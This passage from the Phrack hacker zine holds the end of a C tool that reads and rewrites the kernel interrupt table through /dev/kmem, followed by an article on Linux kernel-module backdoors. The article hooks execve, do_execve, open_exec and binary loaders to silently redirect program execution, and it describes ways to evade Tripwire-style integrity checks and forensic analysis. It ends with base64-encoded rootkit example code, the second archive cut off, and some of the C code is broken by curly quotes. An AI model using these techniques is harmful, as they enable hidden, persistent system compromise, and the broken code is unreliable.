int fd_kmem;
unsigned long ptr_idt;
/******************************/


struct descriptor_idt
        {
        unsigned short offset_low,seg_selector;
        unsigned char reserved,flag;
        unsigned short offset_high;
        };

struct Mode
        {
         int show_idt_addr;
         int show_all_info;
         int read_file_archive;
         int create_file_archive;
         char out_filename[20];
         int compare_idt;
         int restore_idt;
         char in_filename[20];
         int show_all_descriptor;
         int resolve;
         char map_filename[40];
      };
```

```
unsigned long get_addr_idt (void)
        {
         unsigned char idtr[6];
         unsigned long idt;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        idt = *((unsigned long *) &idtr[2]);
        return(idt);
        }

unsigned short get_size_idt(void)
        {
        unsigned idtr[6];
        unsigned short size;
        __asm__ volatile ("sidt %0": "=m" (idtr));
        size=*((unsigned short *) &idtr[0]);
        return(size);
        }

char * get_segment(unsigned short selecteur)
        {
         if(selecteur == __KERNEL_CS)
                {
                 return("KERNEL_CS");
                }
         if(selecteur == __KERNEL_DS)
                {
                 return("KERNEL_DS");
                }
         if(selecteur == __USER_CS)
                {
                 return("USER_CS");
                }
         if(selecteur == __USER_DS)
                {
                 return("USER_DS");
                }
         else
                {
                 printf("UNKNOW\n");
                }
        }


void readkmem(void *m,unsigned off,int size)
        {
        if(lseek(fd_kmem,off,SEEK_SET) != off)
                {
                fprintf(stderr,"Error lseek. Are you root? \n");
                exit(-1);
                }
        if(read(fd_kmem,m,size)!= size)
                {
                fprintf(stderr,"Error read kmem\n");
                exit(-1);
                }
        }

void writekmem(void *m,unsigned off,int size)
        {
        if(lseek(fd_kmem,off,SEEK_SET) != off)
                {
                fprintf(stderr,"Error lseek. Are you root? \n");
                exit(-1);
                }
        if(write(fd_kmem,m,size)!= size)
                {
                fprintf(stderr,"Error read kmem\n");
                exit(-1);
                }
        }

void resolv(char *file,unsigned long stub_addr,char *name)
        {
        FILE *fd;
        char buf[100],addr[30];
        int ptr,ptr_begin,ptr_end;
        snprintf(addr,30,"%x",(char *)stub_addr);
        if(!(fd=fopen(file,"r")))
                {
                fprintf(stderr,"Can't open map file. You can specify a map file -S option o
r change #define in source\n");
                exit(-1);
                }
        while(fgets(buf,100,fd) != NULL)
                {
                ptr=strstr(buf,addr);
                if(ptr)
                        {
                        bzero(name,30);
                        ptr_begin=strstr(buf," ");
                        ptr_begin=strstr(ptr_begin+1," ");
                        ptr_end=strstr(ptr_begin+1,"\n");
                        strncpy(name,ptr_begin+1,ptr_end-ptr_begin-1);
                        break;
                        }
                }
        if(strlen(name)==0)strcpy(name,ROUGE"can't resolve"NORMAL);
        fclose(fd);
        }

void show_all_info(int interrupt,int all_descriptor,char *file,int resolve)
        {
        struct descriptor_idt *descriptor;
        unsigned long stub_addr;
        unsigned short selecteur;
        char type[15];
        char segment[15];
        char name[30];
        int x;
        int dpl;
        bzero(name,strlen(name));
        descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
        printf("Int *** Stub Address *** Segment *** DPL *** Type ");
        if(resolve >= 0)
                {
                printf("            Handler Name\n");
                printf("-------------------------------------------------------------------
-------\n");
                }
        else
                {
                printf("\n");
                printf("---------------------------------------------------\n");
                }

        if(interrupt >= 0)
                {
                readkmem(descriptor,ptr_idt+8*interrupt,sizeof(struct descriptor_idt));
                stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offs
et_low;
                selecteur=(unsigned short) descriptor->seg_selector;
                if(descriptor->flag & 64) dpl=3;
                else dpl = 0;
                if(descriptor->flag & 1)
                        {
                        if(dpl)
```

```
                                strncpy(type,SYSTEM,sizeof(SYSTEM));
                        else strncpy(type,TRAP,sizeof(TRAP));
                        }
                else strncpy(type,INTERRUPT,sizeof(INTERRUPT));
                strcpy(segment,get_segment(selecteur));

                if(resolve >= 0)
                        {
                        resolv(file,stub_addr,name);
                        printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",interrupt,stub_addr,seg
ment,dpl,type,name);
                        }
                else
                        {
                        printf("%-7i 0x%-14.8x %-12s %-7i%s\n",interrupt,stub_addr,segment,
dpl,type);
                        }
              }
        if(all_descriptor >= 0 )
                {
                for (x=0;x<(get_size_idt()+1)/8;x++)
                        {
                        readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
                        stub_addr=(unsigned long)(descriptor->offset_high << 16) + descript
or->offset_low;
                        if(stub_addr != 0)
                                {
                                selecteur=(unsigned short) descriptor->seg_selector;
                                if(descriptor->flag & 64) dpl=3;
                                else dpl = 0;
                                if(descriptor->flag & 1)
                                        {
                                        if(dpl)
                                                strncpy(type,SYSTEM,sizeof(SYSTEM));
                                        else strncpy(type,TRAP,sizeof(TRAP));
                                        }
                                else strncpy(type,INTERRUPT,sizeof(INTERRUPT));
                                strcpy(segment,get_segment(selecteur));
                                                if(resolve >= 0)
                                                        {
                                                        bzero(name,strlen(name));
                                                        resolv(file,stub_addr,name);
                                                        printf("%-7i 0x%-14.8x %-12s%-8i%-1
6s %s\n",x,stub_addr,segment,dpl,type,name);
                                                        }
                                                else
                                                        {
                                    printf("%-7i 0x%-14.8x %-12s %-7i%s\n",x,stub_addr,segm
ent,dpl,type);
                                                        }
                                }
                        }
                }
        free(descriptor);
        }

void create_archive(char *file)
        {
         FILE *file_idt;
         struct descriptor_idt *descriptor;
         int x;
         descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
         if(!(file_idt=fopen(file,"w")))
                {
                fprintf(stderr,"Error while opening file\n");
                exit(-1);
                }
         for(x=0;x<(get_size_idt()+1)/8;x++)
```

```
                {
                readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
                fwrite(descriptor,sizeof(struct descriptor_idt),1,file_idt);
                }
         free(descriptor);
         fclose(file_idt);
         fprintf(stderr,"Creating file archive idt done \n");
        }

void read_archive(char *file)
        {
         FILE *file_idt;
         int x;
         struct descriptor_idt *descriptor;
         unsigned long stub_addr;
         descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
         if(!(file_idt=fopen(file,"r")))
                {
                fprintf(stderr,"Error, check if the file exist\n");
                exit(-1);
                }
         for(x=0;x<(get_size_idt()+1)/8;x++)
                {
                fread(descriptor,sizeof(struct descriptor_idt),1,file_idt);
                stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offs
et_low;
                printf("Interruption : %i  -- Stub addresse : 0x%.8x\n",x,stub_addr);
                }
         free(descriptor);
         fclose(file_idt);
        }

void compare_idt(char *file,int restore_idt)
        {
        FILE *file_idt;
        int x,change=0;
        int result;
        struct descriptor_idt *save_descriptor,*actual_descriptor;
        unsigned long save_stub_addr,actual_stub_addr;
        unsigned short *offset;
        save_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
        actual_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
        file_idt=fopen(file,"r");
        for(x=0;x<(get_size_idt()+1)/8;x++)
                {
                fread(save_descriptor,sizeof(struct descriptor_idt),1,file_idt);
                save_stub_addr=(unsigned long)(save_descriptor->offset_high << 16) + save_d
escriptor->offset_low;
                readkmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
                actual_stub_addr=(unsigned long)(actual_descriptor->offset_high << 16) + ac
tual_descriptor->offset_low;
                if(actual_stub_addr != save_stub_addr)
                        {
                         if(restore_idt < 1)
                                {
                                fprintf(stderr,VERT"Hey stub address of interrupt %i has ch
anged!!!\n"NORMAL,x);
                                fprintf(stderr,"Old Value : 0x%.8x\n",save_stub_addr);
                                fprintf(stderr,"New Value : 0x%.8x\n",actual_stub_addr);
                                change=1;
                                }
                         else
                                {
                                fprintf(stderr,VERT"Restore old stub address of interrupt %
i\n"NORMAL,x);
                                actual_descriptor->offset_high = (unsigned short) (save_stu
b_addr >> 16);
                                actual_descriptor->offset_low  = (unsigned short) (save_stu
b_addr & 0x0000FFFF);
                                writekmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descr
iptor_idt));
                                change=1;
                                }
                        }
                }
        if(!change)
                fprintf(stderr,VERT"All values are same\n"NORMAL);
        }

void initialize_value(struct Mode *mode)
        {
        mode->show_idt_addr=-1;
        mode->show_all_info=-1;
        mode->show_all_descriptor=-1;
        mode->create_file_archive=-1;
        mode->read_file_archive=-1;
        strncpy(mode->out_filename,DEFAULT_FILE,strlen(DEFAULT_FILE));
        mode->compare_idt=-1;
        mode->restore_idt=-1;
        strncpy(mode->in_filename,DEFAULT_FILE,strlen(DEFAULT_FILE));
        strncpy(mode->map_filename,DEFAULT_MAP,strlen(DEFAULT_MAP));
        mode->resolve=-1;
        }

void usage()
        {
        fprintf(stderr,"CheckIDT V 1.1 by kad\n");
        fprintf(stderr,"---------------------\n");
        fprintf(stderr,"Option : \n");
        fprintf(stderr,"       -a nb    show all info about one interrupt\n");
        fprintf(stderr,"       -A       showw all info about all interrupt\n");
        fprintf(stderr,"       -I       show IDT address \n");
        fprintf(stderr,"       -c       create file archive\n");
        fprintf(stderr,"       -r       read file archive\n");
        fprintf(stderr,"       -o file  output filename (for creating file archive)\n");
        fprintf(stderr,"       -C       compare save idt & new idt\n");
        fprintf(stderr,"       -R       restore IDT\n");
        fprintf(stderr,"       -i file  input filename to compare or read\n");
        fprintf(stderr,"       -s               resolve symbol thanks to /boot/System.map\n
");
        fprintf(stderr,"       -S file  specify a map file\n\n");
        exit(1);
        }

int main(int argc, char ** argv)
        {
        int option;
        struct Mode *mode;
        if (argc < 2)
                {
                 usage();
                }

        mode=(struct Mode *) malloc(sizeof(struct Mode));
        initialize_value(mode);

        while((option=getopt(argc,argv,"hIa:Aco:Ci:rRsS:"))!=-1)
                {
                switch(option)
                        {
                        case 'h': usage();
                                  exit(1);
                        case 'I': mode->show_idt_addr=1;
                                  break;
                        case 'a': mode->show_all_info=atoi(optarg);
                                  break;
                        case ’A’: mode->show_all_descriptor=1;
                                  break;
                        case ’c’: mode->create_file_archive=1;
                                  break;
                        case ’r’: mode->read_file_archive=1;
                                  break;
                        case ’R’: mode->restore_idt=1;
                                  break;
                        case ’o’: bzero(mode->out_filename,sizeof(mode->out_filename));
                                  if(strlen(optarg) > 20)
                                        {
                                         fprintf(stderr,"Filename too long\n");
                                         exit(-1);
                                        }
                                  strncpy(mode->out_filename,optarg,strlen(optarg));
                                  break;
                        case ’C’: mode->compare_idt=1;
                                  break;
                        case ’i’: bzero(mode->in_filename,sizeof(mode->in_filename));
                                  if(strlen(optarg) > 20)
                                        {
                                        fprintf(stderr,"Filename too long\n");
                                        exit(-1);
                                        }
                                  strncpy(mode->in_filename,optarg,strlen(optarg));
                                  break;
                                case ’s’: mode->resolve=1;
                                              break;
                                case ’S’: bzero(mode->map_filename,sizeof(mode->map_filenam
e));
                                                  if(strlen(optarg) > 40)
                                                                {
                                                                fprintf(stderr,"Filename to
o long\n");
                                                                exit(-1);
                                                                }
                                                  if(optarg)strncpy(mode->map_filename,opta
rg,strlen(optarg));
                                                  break;
                        }
                }
        printf("\n");
        ptr_idt=get_addr_idt();
        if(mode->show_idt_addr >= 0)
                {
                 fprintf(stdout,"Addresse IDT : 0x%x\n",ptr_idt);
                }
        fd_kmem=open("/dev/kmem",O_RDWR);
        if(mode->show_all_info >= 0 || mode->show_all_descriptor >= 0)
                {
                show_all_info(mode->show_all_info,mode->show_all_descriptor,mode->map_filen
ame,mode->resolve);
                }
        if(mode->create_file_archive >= 0)
                {
                create_archive(mode->out_filename);
                }
        if(mode->read_file_archive >= 0)
                {
                read_archive(mode->in_filename);
                }
        if(mode->compare_idt >= 0)
                {
                compare_idt(mode->in_filename,mode->restore_idt);
                }
        if(mode->restore_idt >= 0)
                {
                compare_idt(mode->in_filename,mode->restore_idt);
                }
        printf(JAUNE"\nThanks for choosing kad’s products :-)\n"NORMAL);

        free(mode);
        return 0;
        }

<-->

|=[ EOF ]=---------------------------------------------------------------=|
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x05 of 0x12

```
|=---=[ 5 Short Stories about execve (Advances in Kernel Hacking II) ]=--=|
|=-----------------------------------------------------------------------=|
|=-----------------=[ palmers <palmers@team-teso.net> ]=-----------------=|
```

--[Contents

--[1 - Introduction

"Oedipus: What is the rite of purification? How shall it be done?
Creon: By banishing a man, or expiation of blood by blood ..."
- Sophocles, Oedipus the King

What once was said cannot be banished. Expiation of the wrongs that inspire peoples thinking and opinion may change.

I concern again on kernel hacking, not on literature. Especially in this field many, many ideas need to be expiated as useless. That does not mean they do not allow to solve particular problems. It means the problems which can be solved are not those which were aimed to be solved.

--[2 - Execution Redirection

If a binary is requested to be executed, you are redirecting execution when you execute another binary. The user will stay unnotified of the change. Some kernel modules implement this feature as it can be used to replace a file but only when executed. The real binary will remain unmodified.

Since no file is modified, tamper detection systems as [1] or [2] cannot percept such a backdoor. On the other hand, execution redirection is used in honeypot scenarios to fool attackers.

Even after years of active kernel development, the loadable kernel modules (lkm) implementing execution redirection use merely the same technique. As this makes it easy for some admins to percept a backdoor faster, others still are not aware of the danger. However, the real danger was not yet presented.

--[3 - Short Stories

I will show five different approaches how execution can be redirected. Appendix A contains working example code to illustrate them. The examples do work but are not really capable to be used in the wild. You get the idea.

In order to understand the sourcecodes provided it is helpful to read [4] or [5].

The example code just show how this techniques can be used in a lkm. Further, I implemented them only for Linux. These techniques are not limited to Linux. With minor (and in a few cases major) modifications most can be ported to any UNIX.

--[3.1 - The Classic

Only for completeness, the classic. Redirection is achieved by replacing the system call handling execution. See classic.c from appendix A. There is nothing much to say about this one; it is used by [3] and explained in [6]. It might be detected by checking the address pointed to in the system call table.

--[3.2 - The Obvious

Since the system call is architecture dependent, there is a underlying layer handling the execution. The kernel sourcecode represents it in do_execve (~/fs/exec.c). The execve system call can be understood as a wrapper to do_execve. We will replace do_execve:

```
        n_do_execve (char *file, char **arvp, char **envp, \
                                struct pt_regs *regs)
        ...
        if (!strcmp (file, O_REDIR_PATH)) {
                file = strdup (N_REDIR_PATH);
        }

        restore_do_execve ();
        ret = do_execve (file, arvp, envp, regs);
        redirect_do_execve ();
        ...
```

To actually redirect the execution we replace do_execve and replace the filename on demand. It is obviously the same approach as wrapping the execve system call. For a implementation see obvious.c in appendix A. No lkm using this technique is known to me.

Detecting this one is not as easy as detecting the classic and depends on the technique used to replace it. (Checking for a jump instruction right at function begin is certainly a good idea).

--[3.3 - The Waiter

Upon execution, the binary has to be opened for reading. The kernel gives a dedicated function for this task, open_exec. It will open the binary file and do some sanity checks.

As open_exec needs the complete path to the binary to open it this is again easy going. We just replace the filename on demand and call the original function. open_exec is called from within do_execve.

To the waiter the same applies as to the obvious. Detection is possible but not trivial.

--[3.4 - The Nexus

After the binary file is opened, its ready to be read, right? Before it is done, the according binary format handler is searched. The handler processes the binary. Normally, this ends in the start of a new process.

A binary format handler is defined as following (see ˜/include/linux/binfmts.h):

```
        /*
         * This structure defines the functions that are
         * used to load the binary formats that linux
         * accepts.
         */
        struct linux_binfmt {
                struct linux_binfmt * next;
                struct module *module;
                int (*load_binary)(struct linux_binprm *, \
                                struct pt_regs * regs);
                int (*load_shlib)(struct file *);
                int (*core_dump)(long signr, struct pt_regs * regs, \
                                struct file * file);
                unsigned long min_coredump;     /* minimal dump size */
        };
```

Binary format handlers provide three pointers to functions. One for loading libraries, another for producing core dump files, the third for loading binaries (pfff ...). We replace this pointer.

Our new load_binary function looks as follows:

```
        int new_load_binary (struct linux_binprm *bin, \
                                struct pt_regs *regs) {
                int ret;
                if (!strcmp (bin->filename, O_REDIR_PATH)) {
                        /*
                         * if a binary, subject to redirection, is about
                         * to be executed just close the file
                         * descriptor and open a new file. do not
                         * forget resetup.
                         */
                        filp_close (bin->file, 0);
                        bin->file = open_exec (N_REDIR_PATH);

                        prepare_binprm (bin);
                        goto out;
                }
        out:
                return old_load_binary (bin, regs);
        }
```

But how can we get the binary handlers? They are not exported, if not loaded as module. A possibility is executing and watching a binary of all available binary formats. Since the task structure inside the kernel carries a pointer to the handler for its binary it is possible to collect the pointers. (The handlers form a linked list - it is not really needed to execute one binary of each type; theoretically at least).

The reference implementation, nexus.c in appendix A, fetches the first binary handler it gets its hands on. This is reasonable since virtually all linux distributors use homogeneous ELF based user land. What is more, it is very unlikely that the binary format of system binaries change.

As used by nexus.c, one way of fetching binary handlers. Note that we do replace a system call but we restore it immediatly after we got our binary handler. This opens a very small time window where the replaced system call might be detected (if tried at all). Of course, we could have fetched the pointer directly in init_module. In other words: the time window is arbitrary small.

```
        int n_open (char *file, int flags) {
                int ret = o_open (file, flags);
                /*
                 * ... get one. be sure to save (and restore)
                 * the original pointer. having binary hand-
                 * lers pointing to nirvana is no fun.
                 */
                elf_bin = current->binfmt;
                old_load_binary = elf_bin->load_binary;
                elf_bin->load_binary = &new_load_binary;

                /*
                 * and restore the system call.
                 */
                sys_call_table[__NR_open] = o_open;

                return ret;
        }
```

An evil attack would of course replace the core_dump pointer, too. Otherways it may be possible to detect redirection of execution by letting each process, right after creation, coredump. Then one may check properties of the dump and if they match, or not, execution may be reinitalized, or not, respectively. I do not recomment this method to detect redirection, though.

An evil virus could wrap the load_binary function for infecting all binaries executed in memory.

Even replaced pointers are hard to check if you do not know where they are. If we have a recent System.map file, we can walk the list of binary handlers since we can look up the address of the root entry ("formats" as defined in ~/fs/exec.c) and the handler functions. In other cases we might be out of luck. One might try to collect the unmodified addresses himself to be able to check them later one. Not a good idea ...

--[3.5 - The Lord

What about not redirecting execution at execution time? Where is the logic in not redirecting execution flow when it is exactly what we are doing here?

When ELF binaries are executed, the kernel invokes a dynamic linker. It does necessary setup work as loading shared libraries and relocating them. We will try to make an advantage of this.

Between execution of a binary at system level and the start of the execution at user level is a gap where the setup described above is done. And as loading of libraries involves mmap'ing and mprotect'ing we already know where we can start. We will just look at these system calls. Shared libraries are loaded to the same (static) address (which might differ from system to system). If a certain address is to be mapped or mprotect'ed by a certain process we restart the execution, with our binary. At this point of execution, the process calling mmap or mprotect is the dynamic linker.

That is was the example implementation in appendix A, lord.c, does.

Note that we can, of course, look for an arbitrary runtime pattern, there is no need for sticking to mmap or mprotect system calls. It is only of importance to start the new binary before the user can percept what is going on.

Note, too, that this technique may be used to execute a binary in before and afterwards of the binary requested to be executed. That might be useful to modify the system enviroment.

And finally note that we are not forced to sticking to a distinct runtime pattern. We may change at will the pattern triggering a redirection. I am really curious what people will do to detect execution redirection achieved with this method as it is not sufficient to check for one or two replaced pointers. It is even not sufficient to do execution path analysis as the path can be different for each execution. And it is not enough to search the filesystems for hidden files (which might indicate that, too, execution redirection is going on). Why is it not enough? See appendix B. All employed methods for forensical analysis of execution redirection defeated in one module? We could make the decision from/to where and when (and whoms) execution shall be redirected dependant on an arbitrary state or pattern.

This is another handy entry point for an infector.

--[4 - Conclusion

We can take complete control of binary execution. There are many ways to redirect execution, some are easier to detect than others. It has to be asserted that it is not sufficient to check for one or two replaced pointer to get evidence if a system has been backdoored. Even if a system call has not been replaced (not even redirected at all) execution redirection can happen.

One might now argue it is possible to search the binary redirected to. It has to be physically present on the harddisk. Programs have been developed to compare the content of a harddisk to the filesystem content shown in user land. Therefore it would be possible to detect even hidden files, as there might be, if a kernel backdoor is in use. That is completely wrong.

Most obviously we would keep the binary totally in kernel memory. If our binary needs to be executed, we write it to disk and execute. When finished, we unlink it. Of course, it is also possible to copy the binary just "in place" when it is to be executed. Finally, to prevent pattern matching in kernel memory, we encrypt the data. A approach to this method is shown in appendix B. Under linux we can abuse the proc filesystem for this purpose, too.

As long as forensic tools work on with a closed world assumption it will be still possible to evade them. Checking for replaced pointers does not help unless you check all, not only those "believed to be" important (letting alone that pointer checking cannot prove if a function is redirected or not). Developers might better invest their time to develop tools checking possible execution paths. Anomaly detection of kernel behaviour is a more reliable forensical analysis method than pattern matching.

--[5 - Reference

[1] Tripwire
    http://www.tripwire.com
[2] Aide
    http://www.cs.tut.fi/˜rammer/aide.html
[3] knark
    http://www.packetstormsecurity.com/UNIX/penetration/rootkits/
    knark-0.59.tar.gz
[4] kernel function hijacking
    http://www.big.net.au/˜silvio/kernel-hijack.txt
[5] Linux x86 kernel function hooking emulation
    http://www.phrack.org/show.php?p=58&a=8
[6] LKM - Loadable Linux Kernel Modules
    http://www.thehackerschoice.com/download.php?t=p&d=LKM_HACKING.html

--[Appendix A: stories.tgz.uu

```
<++> ./stories.tgz.uu
begin-base64 644 stories.tgz
H4sICI95NT0CA3N0b3JpZXMudGFyAO1ae3PaOhbPv/hT6HJ3OkAJmABhp9xk
```

```
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
BRVUUEE/Ef0XupwxUgBQAAA=
====
```

```
<-->
```

--[Appendix B: fluc.c.gz.uu

```
<++> ./fluc.c.gz.uu
begin-base64 644 fluc.c.gz.uu
```

```
H4sICDFK+jwCA2ZsdWMuYwDtXHlv3DYW/zvzKRgXWIyNsT26Z+ptAKNxWyOp
HfhAttsWAx2UrY1Gmo40cbzdfPflIynxEDWjeGvsYneNCBqSjz++i4+HyBwf
jNABenv+7dnF9dnX8Lu+zyqUZjlGy/ARRRjF5SrDCSrXKNms8iwOa5LKChQW
jygt18sJSUDFh/uSVCJkpGwVrusJWpZJlvK6RUkywgrlZXEHb2gGahH0x3V2
```

```
d18DRRZjRFpfrfEKFwmpeHvx4+Xr8+/Oz14fEWKgvwH24jLhhGWZIvIvLosY
r+ojUoxRuKnvSYtxCDwmaLmpaqhJ8EGcZUjqrnG1KosqiwjHRAaQBcSI802S
Ef6iDWUH5dkyI9JStZSUIEtwUYc5SETarPBvG5LOSEYSLsM7PCHvOiRCVhUh
gXoVXn8EscpNTcoZgxL7HzMQc+/0Gp1f71F235/f/HB5ewN1Ty9+Qu9Pr67O
Lm5+OkK312fo/Aad3qCfLm/R5fsLdHV+/abRCzUbYBLNg0Zq0s67+3UYf0Dj
h4eHoxX9fVSu7/YRIcniHFNznyYfQ6K7Cqz2Bq8LnKMfCCFo4fwcRY8EMF/i
dYWOUY2rklQ5Ho2+SnCaFRgtFm/Ori7O3i4WbRax1+3bs9FXTJkY/TnPis2n
Y+IKmxwf3b/qlFT1mjRmLMnDyJS/XJpy08qYm+mthtXyeFNkVZ0Y8sOYqIIC
iZI9wiHx/KN4Twj+7eXrs+vzv56hYFTVIdEmiu/DNYK/cnFPzJjj9c/Bryed
0qIt/RV9g/Z++RTNfvk0napPmv7yCU/3Tkajj2WWIOmPWC0sNqsFU+d4n5AQ
7jYx8eysWKxxkq3R7yNK2bTI/g7KxSqs7ycj1P07KGjZyeizlk/xSBMaFm0L
/BxkeHF8gH7AeV6i9+U6T16CfwANES0gYrgeeWLy+EQ0S3qm2569BoImbf52
+Fur7pNnBmUueYg2HbcLQR6bF/e1yqoRuibPVyBsXtUK+XvekJlhNEEgezZV
mZTTscZN3KMLT2Pc1dKO5klmXaRa63ra0mAspwNhbN3aljZD8EduXU+ndtOU
AiGye3QDjHe4MepChoH03FV1I6ensYCwNPeS5fW3cSMgbI1spglC0nNPar1N
CwhwH82x9XSHG7NfdAw604Qi6Zklc9NCyNm2Jreenpr7iN66TeKHT2KHT7qa
b0tpQmcnUhluIQKimgA4wORNnNhP2W/H7hfS6vFOzZndgDwEyvN6YohtdnDd
wN62HqsYVSELtnd0YeCt3azzWCZud0O4O4T6Qi4GDALS44WaAV11AIBxxwBh
a5awNdltDSYKzeOIBuPOugOADBO7RkEs3S8iDVaBEeOIsx2mA2tW50yLB7pQ
